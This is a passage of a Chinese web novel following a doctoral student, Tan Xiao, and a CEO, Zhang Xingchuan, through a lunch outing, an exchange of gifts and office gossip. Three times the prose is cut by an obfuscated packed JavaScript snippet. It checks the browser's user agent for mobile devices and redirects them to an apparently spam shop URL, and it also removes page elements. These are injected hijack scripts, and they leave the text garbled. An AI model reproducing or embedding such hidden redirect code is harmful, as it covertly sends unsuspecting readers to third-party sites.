那边接起来,谈霄故意用AI语气说道:“张总你好,请问找我有什么事?” 张行川没有说话。 “哥哥,”谈霄是逗总裁玩,逗完就笑了出来,切换回了自己如常的声调,解释道,“我在图书馆,刚才忙着找资料,手机落在桌上充电了。你怎么突然打电话给我?” 张行川说:“我在清大西门附近,中午有时间吗?” 总裁周末也不得休息,今天上午约了人谈事,是对方行程临时有变,让他平白得了半天空档,决定来找谈霄玩。 谈博士是三年级博士,忙于学业,毕业前可能都不得空,这很正常。 张行川近期也是真有且只有今天的时间,下次再抽出空来不知要到什么时候。 本来他想今天是周六,谈霄应该不会太忙。卷王如张行川,学生时代周末也会睡懒觉,也会出门去玩。 他给谈霄打了几次电话没人接,发微信也没回,不知道是睡太香,还是已经和别人玩得天地不知为何物了。 张行川越等越烦,打算等谈霄有空回他电话或消息,他也要很高冷地拒绝谈霄。 十点的谈霄对他爱答不理,十一点就要让谈霄知道他高攀不起。 很快到了十一点,张行川又心想,那就十一点半再让谈霄高攀不起。 刚过十一点十分,谈霄打了过来。 张行川看到来电显示,立即大度地决定,还是别和小孩哥一般计较了。 谈霄还不知道自己无意中逃过了霸道总裁的无情报复。 他盘算了下距离,从经管图书馆到西校门有近两公里,走过去实在是慢。 他在图书馆门外台阶上张望了下,快步到校园路上,随机抓取到了一个骑电动车的路人同学,不由分说跨上电动车的后座,开始许愿:“同学菩萨帮帮忙,我赶时间,请渡我去西门。” 这男生只是在路边暂时停下,骑在车上回别人消息,不知道怎么就幸运当选了一日菩萨。 菩萨对当前这个状况极其迷茫,道:“我不去西门啊!不是,你谁啊?” 谈霄说:“你再好好看看我呢。” 男生回头看看他,发现竟是位过目难忘的大帅哥,更加迷茫了。 他怀疑这陌生帅哥要使用美男计,对他指定不好使。 男生好生迟疑地问:“我们认识吗?” 但帅哥是要搞抽象。 谈霄好生严肃地说:“我是你的双胞胎哥哥呀。” 男生风中凌乱了三秒,终于还是哈哈大笑,被动接受了普渡菩萨的临时使命,把这位帅哥妖精渡去了西门。 总裁的商务车已经停在西校门外的临时停车位上。 谈霄出了校门,朝着商务车走过来,车里的人看到了他,车后排的自动门滑动打开。 张行川在后排,一副云淡风轻的模样笑望着谈霄。 他坐在了里面左窗边,留了右边的空位给谈霄。 谈霄笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230299|197178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快步上前,到了车前又不急着上车,两手左右分别扶着车框,上半身探进了车里,一张帅脸怼在张行川面前。 张行川下意识想要后撤,很快反应过来这躲什么躲,端坐稳住没有动。 谈霄回归了学生身份,明显就比当实习社畜时天真活泼了好几分,和张行川见面让他非常快乐。 “怎么有空来找我玩?”他问张行川,“是不是想我了?” 张行川感受到了谈霄待他的热情,等待的怨气本就剩余不多,更消散得无影无踪。 他说:“被甲方放了鸽子,正好离学校很近,就过来看看你。” 谈霄是真的很想他,听他这么平淡一说,脸上露出点失望。 “想你想你,”张行川用很敷衍的语气,笑着说了,又指着外面,道,“一会儿我叫人在这儿立个牌子,上头就写,我在西校门很想你。” 谈霄哈哈大笑。 张行川道:“来不及了快上车,抓紧时间,我下午还有别的事。” 谈霄又很开心了,上车去坐好,前排司机关了门。 张行川对司机说了一家餐厅的名字,司机应了,按照导航开过去。 谈霄自觉地扣好安全带,问:“这家好吃吗?” 张行川道:“不知道,没去过,大众点评说好吃。” 谈霄微诧,道:“你怎么还用大众点评?” “因为我只是厨艺小众,口味还是很大众。”张行川说,“我又不像你,我是真吃不下我自己做的饭。” 谈霄又开始笑,一阵子不见,张行川说点什么都能让他乐上半天。 张行川从后面拿了个袋子过来。 “在店里看到这件,正好需要凑单就买了,”张行川说,“应该很适合你。” 谈霄打开了看了看,是件米白色的春装外套,怀疑地说:“这不是秀款吗?凑的什么单?” 张行川也很疑惑:“什么秀款?” 他看谈霄日常衣着的风格和这个品牌相近,于是才到这家专柜给谈霄选了件礼物。 谈霄正是这家的VIC。品牌这个月寄给他的最新产品目录画册,封面模特穿的就是此时手里的这件衣服。 “就是……我在小红书刷到过。”谈霄道,“挺好看的。” 这外套和张行川的穿搭风格八竿子打不着,如果不是他主动提出需求,门店销售就不可能让他看到这件衣服。 谈霄看透了真相,道:“你是专门给我买的吧?” 张行川没有接话,等同于默认。 谈霄好笑道:“送我礼物怎么还要找借口?” 当然是因为有点贵。 张行川打算要送谈霄一件礼物,送什么是真的很难选。 过于平价的,先不说他送不送得出手,谈霄也很明显是被家里富养长大,日常的吃穿用度都很有品质,要送礼物,当然不能比人家自己在用的差。 真送了和总裁身家匹配的奢品,他又担心会给谈霄造成没必要的负担。 他还没为送礼物这种小事这么为难过,往常给身边人送点什么,也不会这样瞻前顾后。 除夕夜谈霄约他吃饭,他去接谈霄的路上顺便给谈霄买了一个马年礼物,当时肯定不会有这种心理。 人在他心里变得特别了,对待这段关系的方式,自然也就不一样了。 10.第 10 章 谈霄也反应了过来,明白张行川为什么会说这么一个小小的善意谎言。 他自己很少送人礼物,追溯原因,是他读初中的时候,有过这么一件事。 当时班里有个女同学过生日,那是个很可爱,性格也很开朗的女同学。 之前谈霄过生日的时候,带了蛋糕请同学们吃,这位女同学送给他一样手作的生日小礼物。 出于对那份好意的回报,以及刚进青春期对可爱女孩的一些懵懂好感,谈霄也想回赠一件生日礼物给对方。 他上的是国际学校,同学们家境也都在中产以上,基于这层考虑,他到商场专柜选购了一条价位适中的手链,材质也并非珠宝,只是适合十二三岁女孩佩戴的仿制水晶。 结果那女孩一打开就花容失色,当场就把手链还给了他,如避洪水猛兽一般。 搞得谈霄一头雾水。 谈霄找别的同学旁敲侧击问了,才终于搞清楚,以二零一四年的物价和环境,中产家庭的初中小女孩有可能用四千块的手机,不会戴四千块的手链。 后面女孩还给谈霄发了几百字的小作文消息,前半段大意是诚恳建议他理性消费。 到结尾处委婉地写道:谈霄同学,也许我不小心做过什么让你误会的事,但我真的只把你当做普通同学,我们当前的任务是好好学习,祝你往后余生,一帆风顺。 谈霄当时尴尬极了,现在想起来,会觉得那是一位很好很正直的小同学。 他已经记不起女孩的模样和具体名字,只是经过这事,他就再也不敢随便送人礼物。 等年龄再大一点,他对自己家的产业和财富有了更具体的认知,也有了自知之明,更自觉地要离女同学们远一些,免得一不小心萌生情愫,又不可能有结果,最后只是害人又害己。 这都是题外话。他当下就很理解张行川为什么要用凑单当礼物的托词了,想送他好的,又怕他因为价格困扰。 谈霄家里情况过于特殊,轻易不能对他人透底。 何况和张行川做朋友,完全是由于他和张行川性格契合,与家境本就无关。 这事不说,只是谈霄一个人的秘密,说出来,很可能就变成了张行川的负担。 “这应该很贵。”谈霄还是说了学生身份该说的话,真么多年他也习惯了两重身份的分离,对张行川道,“不要再给我买这么贵的东西了。” “别在意这个。”张行川道。 他是个明白人,挑选并送一份礼物给谈霄,首先满足的一定是他自己的情绪需求。 谈霄如果收到礼物也很快乐,那就是两全其美,再好不过了。 张行川随口开了个玩笑说:“你知道我多有钱吗,根本花不完。” 他这玩笑是为了打消谈霄的顾虑,且也是实话。 正常来讲,他当下已有的财富,确实是几辈子也花不完,何况他才三十多岁,还会不停地生产和拥有。 谈霄的听感就有点复杂,再围绕这话题继续展开,他就有点太装了,对张行川也不太尊重。 “快停止你的炫富。”谈霄说,“我可以现在就穿我的新衣服吗?” 张行川道:“当然可以。” 谈霄便把身上的外套脱掉,在车里就换上了新衫。 先前看产品画册的时候,他看这件相当普通,还有一点土。 现在经由张行川送到他手上,他又觉得其实还可以,甚至还真有点喜欢上了。 “好看吗?”谈霄稍稍侧身,邀请张行川点评。 “很好看。”张行川如实说道。 “我真的很喜欢。”谈霄的嘴甜技能随时发动,说,“还得是我们行川哥哥眼光好啊。” 这件外套是很适合他的,穿起来很有春风拂面的气息。 张行川看了片刻,也觉得自己眼光真的很好。 “今天我来请客,”谈霄说,“我刚收到一笔论文稿费,有三千多呢。” 张行川露出点笑意,说:“不必了,快存起来当零花钱吧。” 这不刚就有现成的文献?谈霄当场copy过来,道:“你知道我有多少零花钱吗?根本花不完。” “快停止你的炫富。”张行川接了下联,又说,“没有我叫你出来吃饭,还要你来买单的道理。” “你送了我衣服,”谈霄坚持说,“我当然要请你吃饭。” “那你来吧。”张行川放弃了这无意义的抢单,之后找由头再发红包给谈霄就好,说道,“等没钱花了找我。” 谈霄心想,不是,哥你等等,就算我真是穷学生,你这又是什么金主文学的发言。 张行川也反应过来这话有点怪。 谈霄既没有“出柜”,张行川也不爱给人贴标签,交往中就有意无意地,忽略掉了谈霄可能是个男同的潜在情况。 他当然没有那方面的意思,他是把谈霄当弟弟看待,还在读书的弟弟没了零花钱,做哥哥的爆点金币又怎么了。 谈霄从没觉得张行川性向存疑,很明显张行川就是个温和型直男,何况还有那么一位远在美国的白月光女士。 因此这想法在脑海中只浮现一瞬间,就划了过去。 张行川打了补丁:“这学期你忙着毕业,没时间去赚外快,我是怕你钱不够花。” 谈霄发出一声:“哈???” 张行川知道他会时而搞抽象,还是莫名问道:“这是什么怪声音?” 谈霄说:“我五道口乌萨奇,怎么可能没钱花。” 经常体验社畜生活,家底和房产不详,证书还能铺满一面墙。 谈霄,名副其实,五道口乌萨奇是也。 张行川的工作依托于互联网,平时的碎片时间也常用来冲浪,关注年轻人的旅行需求,也关注问程的舆情动向,他网速就一向都很快。 可也难免有不能涉猎到的领域。例如太年轻的二次元IP,就属于他的盲区。 他现在猜测,这位乌姓人士可能是个新出来的娱乐圈明星? 他倒是相信谈霄不缺钱。 谈霄没什么消费欲,性情也很平和,想来是他妈妈在教育和人格培养上做得很好,经济条件也比较宽裕,小孩才能长成这样。 但人就是这样,一旦把谁放在了心上,就总会千方百计要对谁好一点。 张行川现在就是想对谈霄好,苦于还没精确探寻到谈霄的需求痛点。 目前就只能先给他花花钱这样。 吃过午饭,张行川送谈霄回了学校,谈霄下车,挥挥手,司机把商务车开走。 还没离开多远,张行川看到了谈霄换下来的外套,是忘了带走。 谈霄刚进校门,也发现了这事,给张行川发消息:我外套落在你车上了。 很快,他收到张行川的回复:不好调头,下次见面再还你吧。 这话的表层意义之下,潜藏着对下一次见面的愉快约定。 谈霄接收到了这层含义,回了个小狗歪头笑的表情包。 下次见面之前,他要先回赠张行川一件礼物。 一周后,问程办公区的写字楼。 负责收发件的行政收到了一个要送总裁办的专送件,行政认真做好了安全检查,把东西送到楼上,交到总裁办。 总裁办的行政再次核对了信息,把东西交给张行川的助理。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233401|197178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 助理核实了收件信息,确认是要送给总裁的东西,但是……小助理搞不清楚状况,只好又先去找到总裁特助嘉欣。 最后,嘉欣做了决断。两手捧着那一小盆蝴蝶兰,送到了张行川面前。 张行川刚从外面回来,正准备吃午饭,顺便见缝插针看下番。 他看到嘉欣端着盆花进来,疑惑地问:“物业送的新花吗?挺好看,不过我这里没地方放。” 他不喜欢在办公室里放花草,旁人进不来他办公室,花草交由他自己养,没两天就养死了。 说是这么说,他还是把那盆小蝴蝶兰仔细看了看,真是相当漂亮的花,优雅的单株,浅蓝色花卉本就相对少见,仔细看花瓣还是蓝晕渐变,美得不可方物了。 物业先前总是送些红掌粉掌或者发财树,摆着既占地方也不太好看,怎么忽然送了这么美一盆蝴蝶兰? “不是物业送的。”特助也有点疑惑,说,“不知道是谁送给您本人的,检查过了,没有什么问题,有一张卡片,没落款。” 总裁接过看了,卡片上写了一行字。 张行川先生钧鉴:少浇水,少晒太阳,七字口诀记牢,能活。 张行川一秒猜到谁送的。 谈博士的论文已经送了盲审,等结果的时间里,他倒是也清闲了不少。 图书馆里安安静静,他坐在窗边的位子上,有一搭没一搭地准备答辩PPT,脑子有点走神,时不时拿起手机玩一下。 张行川收到花了吗? 怎么也没个回信? 喜不喜欢倒是说句话,总裁真没礼貌。 嗡。张行川的消息终于来了。 他给谈霄发了一张蝴蝶兰摆在办公桌上的照片。 总裁办公桌上一直都很简洁,固定物件除了电脑,原本只有一个定制玉石摆件,造型是问程的吉祥物,现在吉祥物旁边的位置,摆上了这盆花。 谈霄一面心道,这花何德何能,跟吉祥物一起站总裁桌的C位。一面也忍不住得意。 他就觉得张行川应该会喜欢这花。 张行川,一位花卉杀手,但这杀手哥会专门在家里改造出一个小花园,那就是很喜欢花花草草。 谈霄想好要送张行川一盆花以后,在花卉论坛上刷了好几个小时,直到刷到了这一种蝴蝶兰,一眼就认定是它了。 蝴蝶兰本身就有极佳寓意,这个品种又有着大海一样宁静温柔的蓝色,和张行川全方位匹配,送给他再适合不过。 且谈霄选的这花绝非凡品。 市面上是有通过发光二极管染色或是基因工程手段等人工培育出的蓝色蝴蝶兰,那种下一茬花就会变回原本的白色。 谈霄送的这盆浅蓝色蝴蝶兰,并不是那类人工品种,而是天然变种,天然开出来就是蓝色渐变的花卉,一个珍贵稀有的品种,在市面上并不流通,近期也没有流入拍卖场。 他联系到了拥有这花的专业收藏家,各方面都很诚心地请人家割爱,收藏家才转让给了他这一盆。 谈霄当然不会对张行川邀功似的介绍这花如何难得。 他也是个明白人,挑选礼物送给重视的人,最快乐的当然是他自己。 他回复张行川:喜欢吗,是不是很漂亮? 张行川:漂亮极了,我很喜欢。 谈霄要发一个得意表情包,还在挑选哪一个表情最最得意。 总裁的消息又过来了。 张行川:乌拉呀哈呀哈乌拉。 “……” 谈霄笑趴在了桌上,苦苦忍着不发出声音,差点就成为清大历史上第一个在图书馆里因憋笑而缺氧的准金融博士。 11.第 11 章 到了午饭时间,谈霄离开图书馆去吃饭,正走在校园道上,身后有电动车发出鸣笛,谈霄没在道中间挡路,以为和自己无关,就也没回头。 骑电动车的男生叫他:“前面的哥哥!” 谈霄:“?” 是上周渡他去西校门见张行川的那位男菩萨,正骑着电动车跟在他后面,哔哔鸣笛。 那天过后,两人在校园里又遇见过两次,自然而然就认识了,这男生名叫陈述,建筑系本科生,还在读大三。 谈霄年纪不大却是博三,陈述在称呼上还是很讲究,问他:“师兄你去哪?我渡你去。” 谈霄乐得不用走路,跨上电动车后座,说:“去紫荆园,我要化个缘。” “坐好了您内。”陈述拧了把手,出发去食堂。 “吃过了吗您内?”谈霄说,“师兄请你吃饭呐。” 他一向很喜欢跟别人一起玩,多个人一起,也还能多点两道小炒,便顺势邀请了好心带他的陈述。 陈述却说:“先记着,下回再请我,我今天都跟女朋友约好了,午饭要和她一起。” 谈霄道:“也是咱们学校的同学吗?” 提起女朋友,陈述洋洋得意道:“不是,我女朋友是隔壁的,计算机系,读研一了。” 居然还是姐弟恋,谈霄道:“你是怎么追到隔壁师姐的?” 陈述道:“我没追啊,看对了眼,就在一起啦。” 谈霄从没体验过恋爱,每次听到别人谈恋爱就会很好奇。 在不冒犯到别人的前提下,他就总想问人家,是如何找到了恋爱对象,又是怎么和对象谈恋爱的,听别人说说,似乎也能稍微体会到那种心动和喜悦。 “就这么简单?”谈霄在电动车后座上,好奇地简直想站起来问陈述,说,“那你们是怎么就知道看对眼了呢?” 陈述说:“感觉到了,骗不了自己,自然而然就知道了。” “你太夸张了。”谈霄道。 他觉得这说法也太不科学了。 人类是很容易产生错觉的动物,万一只是单方面自作多情,对方根本没那意思,岂不是就尴尬了。 “师兄?”陈述突然明白了什么,大惊小怪道,“你该不会没谈过恋爱吧?” 谈霄端端正正坐在电动车后座,还不自觉地抱起了手臂,没谈过,那咋了。 陈述难以相信这是事实,说:“怎么回事?你长这么帅,博士都要念完了,居然一直是单身?” 谈霄演起了道心破碎的单身狗,说:“不要说了,破防了,再说我就跳车了。” 陈述听出他是演的,在前面哈哈哈地笑。 这小子在开朗个啥啊。谈霄心想。 和计算机硕士一起吃个午饭值得这么开心吗?他如果想找计算机硕士一起吃饭,也就是一个电话的事儿。 “师兄我走了!”陈述把谈霄送到紫荆园门口,呲溜一声飞驰而走,找女友去了。 谈霄在食堂里也没遇到认识的人,只好独自吃饭,无聊地观察餐厅里的别人,学生情侣真是随时在每个角落里刷新。 清大和隔壁,两校都推崇全面发展,学生恋爱从来不是禁忌,甚至是一种默认被鼓励的校园文化,各处环境设施都在为年轻男女提供天然的爱情催化剂。 大家的学业压力普遍很大,找个伴侣相互支撑,互相鼓励,也是很重要的心理依靠。 谈霄十六岁入学,已经在这学校快八年了,八年间的同窗来来往往,换了几拨,始终保持单身的,非常少,屈指可数。 他想起也在这里度过本科四年的张行川。以张行川的颜值和性格,跟和他登对的女同学谈几段恋爱,再正常不过了。 那个去了美国的白月光姐姐,很可能就是几段中,让张行川最难忘的。也许就是初恋? 不少书里都写过,男人不管一生爱过几个人,最难忘的永远都是初恋。 谈霄开始替张行川操心起了终身大事。 以后等张行川放下了对白月光的执念,不知道会找个什么样的嫂嫂,是谈霄的亲姐谈韵那类型的女王,还是和特助嘉欣姐相似的贤内助,或者是个可爱娇俏的年轻妹妹,好像都是挺适配的CP类型。张行川还真是很百搭的一款总裁。 不管是哪个类型,嫂嫂一定美丽聪慧,才能勉强和英俊温柔的张行川匹配。 等张行川有了老婆,到时候白月光再突然回国……请看,总裁在新欢老婆和旧爱白月光之间如何抉择? 谈霄吃了个午饭,脑补了80集由张行川主演的都市狗血虐恋竖屏短剧。 又过了两天,谈霄在六教旁的绿地晒太阳,顺手逗校园里的流浪小猫玩。 他的答辩PPT大框架已做好了,细节要等论文盲审结果出来再调整,而结果还要一个月才能出来。 谈博士闲得发慌,起初不停地改PPT,又把自己改得有点焦虑。 有一天做梦,他梦到了延毕,四点多被吓醒,再也睡不着了。 为了保护身心健康,他给自己放了假。 本周他的安排是上午全职晒太阳,帮助身体合成维D,刺激大脑分泌血清素,提升情绪,赶走焦虑。每天都要午睡一小时。 下午就自由活动,看书看电影,运动锻炼。 他撸橘猫的时候,看到旁边有个认识的女生,也在和流浪猫玩,那是只臭名昭著的奶牛猫,果然正玩得好好的,突然翻脸,打了女生两记猫拳就跑了。 谈霄笑出了声。 女生也看到了他,笑着说:“你这个全自动论文生产机,今天怎么停机了?” “底层代码出了问题,”谈霄说,“正在自我修复。” 女生也没朝他走过来,远远地说:“别对自己要求太高,你已经足够优秀了。” 谈霄对她笑了笑。 他和这女生在某个时期是同学,关系一度还可以,在学习上互帮互助。 直到女生有次主动邀请他看电影,被他断然拒绝,后面她待谈霄就变得冷淡,谈霄也尝试过缓和这一段同学关系,没有成效,他就很快也放弃了。 谈霄也常觉得,自己对别人总是不上心,相处时都很好,从心底里他没把别人当成不可失去的存在,来了,他很欢迎,走了,他也不会太惋惜。 如果说是他对别人设防导致有隔膜,其实也没有。他和每个朋友都会有交心的时刻,除了家世财富,关于他自己本身,没有任何事不能对朋友说,他的心情和喜好,生活里的大小事,都不等别人问,他主动就倒个底儿掉。 他总是渴望能和他喜欢的所有人,每段关系开始时,就有一个足够热烈的起点。 他算是一个很典的ENFP,认识每个人的时候,对方在他心里都是满分,随着交往深入,才会开始根据情况扣分,对方的分值被扣到不及格,就到了拜拜的时刻。 那位女生在那边草地上也晒了会儿太阳,起身和谈霄挥挥手,谈霄也摆了摆手,两人都没有说话,女生走了。 谈霄不知道她当初是不是对自己有过异性间的好感,很清楚自己对她没有,他对这女孩以及遇到过的所有女孩,都还没有产生过男生对女生的喜欢。 从前他也没有觉得遇到过的哪个人,是不能随便说再见的存在。 最近有了。 他近期最喜欢的朋友张行川,或者可以说,是他有生以来最喜欢的朋友,是大比分胜出,完全没有竞争对手。 张行川在他这里只被扣过一次分,就是他刚去问程实习的时候,被发配到市场运营岗上,非常不满,小发雷霆地扣了张行川一点分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238715|197178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。后面这分数很快就涨了回来。 张行川的卷面分有100分,是因为满分就只有100分。相处久了,谈霄主考官有时候也想挑挑刺,结果是非但扣不掉张行川的分,每场加试后他还忍不住在张行川的100后面加0,加0,加无数个0。 目前张行川在谈霄心里的分数,已经超过了张行川的资产总额。 这实在没办法,谁叫这总裁拢共也没有多少钱,还背了房贷。 谈霄又有点想张行川了。 时近中午,张行川应该也要午休吃饭。 于是谈霄给他发了条消息,说:看看花。 张行川回复:没在公司。 回得这么简短,一定是没空了。谈霄没再发消息骚扰他。 张行川很快又发了条:很忙,晚点说。 他出来参加一个会议,中午参会人员要一起去吃工作餐。文旅部门的领导要拉着他一起走,是要跟他讲几句话,他匆忙回了谈霄,便把手机收了起来。 谈霄鲜少主动给他发消息,看来谈博士今天是不太忙。 谈霄知道他在忙,就关掉了对话框,翻了翻微信界面,把所有小红点都点了,很多群聊都开了免打扰,他平时也没多少工夫参与群聊。 有个问程同事群正在聊天,谈霄刚点掉了,它很快就有新消息,又顶到最上面。谈霄就点开看了看。 这群是他在问程实习时,一个和他相处挺好的运营同事拉他进去的,不是工作群,就是闲聊吐槽,也拼好饭,被傻叉领导和同事气到了也来群里发发疯,什么消息都有。 谈霄在问程的实习时间虽短,但换了三个部门,人才又很出挑,认识他的人不少,可他自己是没来及结交太多朋友,因此群里很多问程内部梗他也看不太懂,看不懂就会不感兴趣。当时刚进群还没半个小时,就已经把不停提示的群消息提醒关掉了。 之所以没退群,是这群里偶尔也聊他感兴趣的事,例如张行川有个已婚白月光的八卦,出处就是此群。 现在这群里在聊的主角是金融事业部的孙副总。 谈霄见是熟人,也好奇看了看究竟。 孙副总这位有着雷霆手段的前华尔街野狼,在工作以外的话题里,总是充满了乐子,是一个时常阴暗爬行,但又总是被所有人看到他在阴暗爬行的暴骄男子。 群里此时在说,听说了吗,听说了吗,孙副总又在发癫。 事情经过就是孙副总又在乱发脾气,摔了个杯子,把水洒了一地。 保洁大姐进来拖地,一边拖还一边阴阳怪气怎么有人这么没素质。 孙副总又羞又气,要摔门而走,结果那门的合页故障,工程部还没来修,孙副总一用力,那门咣当倒下,万幸他躲得快,但也被砸肿了大脚趾。 群里此起彼伏哈哈哈,充满了欢乐的空气。 这其中肯定是有艺术加工,互联网公司的员工们深谙博眼球之道,编排起人尤其是编排领导,最喜欢添油加醋。 在这群里,孙副总总是被描绘得像个身高不足一米七,整天气鼓鼓的河豚。 实际上孙副总有一米八只多不少,长相也不差,算得上一表人才,内心如何作想另说,表面上和别人说话也都客客气气,绝非河豚做派。 群里有和谈霄一样来晚了没赶上趟的人,问:这回为了什么生气? 知情人回道:和上次一样,还是因为总裁办新来的那位冯答应。 谈霄离开问程后,和前同事们极少联系,张行川和他见面也不聊公司里的事,他不清楚他当时刚走,就有了新的人事变化。 总裁办来了一位姓冯的海归,二十七岁,公共管理硕士,入职以后,很快得了总裁的青眼,悉心栽培,出去办事也常带在身边,同事群里戏称这位作“冯答应”。 12.第 12 章 孙副总加入问程的时间比较短,和张行川还没有培养起足够的互相信任,对他自身和问程的发展来说,这都是潜在的不利因素。 因此张行川也一直很主动去建立和这位伙伴的良好关系。 孙副总只是疑心重,外加热爱阴暗爬行,并不是真的脑子有坑,接触多了也能明白到张行川的用心。两人也算是在很积极地达成工作关系上的双向奔赴。 可是孙副总在social一事上天分欠佳,后天发力也不得要领,呈现出一种越努力越搞笑的尴尬现状。 谈霄跟在孙副总身边半个多月,认为孙副总人还不错,因为他做实事的时候光明磊落。 和人交往就真的很菜,不会读空气,自以为幽默地说些笨话。 张行川无疑是个社交达人,每次面对孙副总也只能望洋兴叹,尽力了,带不动,真的带不动。 孙副总经常能凭一己之力把场面弄得很僵,冷场了他还摸不着头脑,谈霄在的时候还常要帮他救场。 同事群里之前就爱调侃,“孙贵人想要晋位难如登天,固宠倒是简单,只需别让总裁见他的面”。 群里现在提起那位新来的海归硕士冯秘书,默认这就是总裁最近的新宠。 谈霄看群里描述,这位冯秘书是个工作认真也很有脾气的人,可能是性格不大圆滑?总之和孙副总见了几次面,就两两生厌。 冯秘书既然能够上“答应”位份,当然就是在总裁身边随时能答应,偶尔也会替总裁当传声筒,传话了几次给孙副总,也不知道怎么回事,每次都能把孙副总气得够呛,上次气得踢墙皮,这次气得摔纸杯。 同事群里对本次事件进行了一番总结锐评:孙贵人被冯答应夺了恩宠,又被洒扫嬷嬷拂了脸面,最后被不长眼的玻璃门砸了玉足,孙贵人大恸,呜呼。 “……”谈霄真要被这帮无聊还毒舌的前同事们笑翻过去。 当天傍晚,网球场边上,谈霄和下午随机认识的几个球友同学道别,打了一下午球,身心十分舒爽。 他放在场边的手机里,有未接来电和消息。 张行川:下班了下班了。 张行川:人呢?还看不看花了? 是半小时前的消息。 谈霄立刻回复说:我刚才在打球。 发完后,他拿了水瓶先喝了点水,打算再问问张行川在做什么,以及最近哪天有空。 张行川的电话先打了过来。 谈霄接了起来,笑着问:“诶诶诶?今天总裁不忙吗?” 张行川也笑着说:“谈博士今天不忙吗?怎么有空打球?” 谈霄说:“谈博士不忙了,谈博士要gap一个月。” 张行川安静了数秒,才问:“怎么了吗?” “没有。”谈霄听出了关心,说,“哥哥,我是咸鱼啊,咸鱼就是只想gap。” 张行川现在还在回公司的路上,看了看腕表的时间,想了想晚上的安排,六点有个在线会议,没有大事可说,最多一小时就能结束。 “我快回到公司了,”张行川提议道,“要来问程玩吗?” 谈霄一手持电话,另一手正要装球拍,听到这话,把拍子握在手里转了转。 他有点想去。 张行川又道:“也来看看咱们的花。” 谈霄扛不住了,非常想去。 “合适吗?”他说,“我从问程都离职一个多月了。” 张行川在电话里一对一发邀请函:“问程是一个温暖的大家庭,随时欢迎每个离家的游子,都要常回家来看看。” “……”谈霄笑出了声,说,“总裁,你跟AI老师学点好的吧。” 他得回去洗澡换衣服,两人说好了晚点公司见。张行川挂了电话。 今天去开会,总裁办新来的行政秘书也一道去了,现在这位冯秘书坐在商务车前排,等后排总裁打完了电话,才回头提醒说:“六点整要和两位董事连线会议。” “我记得。”张行川心情明朗,表情都比刚才轻松快乐很多。 冯秘书没再说话,安静不语。他肯定是比孙副总有眼力许多,知道什么时候该说话,什么时候该闭嘴。 张行川也确实是有心栽培这位青年才俊。 总裁办现在的人员,除了特助嘉欣以外的其他行政,也都踏实可靠,但是相对来说资质平平,难堪大用。目前看新来的这冯秘书各方面都还不错,张行川打算多给他些机会。 等回到公司,张行川又发了消息问谈霄,大概几点到。 这时间路上堵得很,谈霄要坐地铁过来。 他说:在地铁上了,半小时左右。 张行川:我火速开个小会,你到了后稍微等我一下。 谈霄:我可以进你办公室看花吗? 张行川:可以,让冯秘书给你开门。 张行川去开会了。 冯秘书受命,过了半小时,到楼下接到了谈霄。 “你好。”谈霄说,“嘉欣姐呢?没在吗?” 冯秘书说:“她出差了。” 谈霄点了点头,看他冷淡,就也没再说话。 到了总裁办,正在加班的几位同事看到谈霄来了,纷纷热情地和他打招呼。 谈霄和几人简短叙了几句旧,也不打扰人家加班,随便找了个离张行川办公室近的空位坐。 他很快发现,冯秘书的工位,就是他在总裁办实习时的老位置。 他当时被安排工位时,看到这里有个位置空着,就跟行政说,他坐这里就可以。 等后面他和嘉欣熟悉了,嘉欣才告诉他,说这个位置以前没人喜欢坐,因为这个工位恰好侧面正对着总裁的办公桌,谁坐这里,谁就会全方位被总裁“监控”。 谈霄又看向总裁办公室,张行川去会议室开线上会议,玻璃隔断后的房间空着。 桌上的花静静开着,蝴蝶兰花期很长,单朵最久能开两三个月,现在花箭上的花样蝴蝶们,还是谈霄见过的老相识们,株活得好,花开得也好。 谈霄没提出要进总裁办公室。 冯秘书正在整理白天的会议记录,其实早已经整理完了,但为了不和谈霄这一脸E相的人打交道,装作忙得不可开交。 他已观察过谈霄一番。也有点好奇,这青春帅气的男大到底是什么人?真是已经离职的前实习员工,会和总裁这么亲密吗? 不是很懂,不过总裁做事,一定有总裁的道理。 谈霄视力很好,能看到冯秘书屏幕上的工作文档。 他看冯秘书这笔记做的很认真,但也很刻板,冯秘书像个一丝不苟的轴人。而孙副总在工作中很激进,是个冒险派。 这冯答应和孙贵人处不好,也太正常了,两个性格天生互斥的人。 冯秘书在电脑屏幕边缘的倒影中,发现了谈霄在窥视,侧了侧身,把屏幕挡住了。 谈霄:“……” 谈霄有时候也是有点叛逆,冯秘书从楼下接到他时,就对他不假辞色,上了楼来,也几乎没和他说过话。 他现在就偏要逗逗冯秘书,跟冯秘书好好说说话。 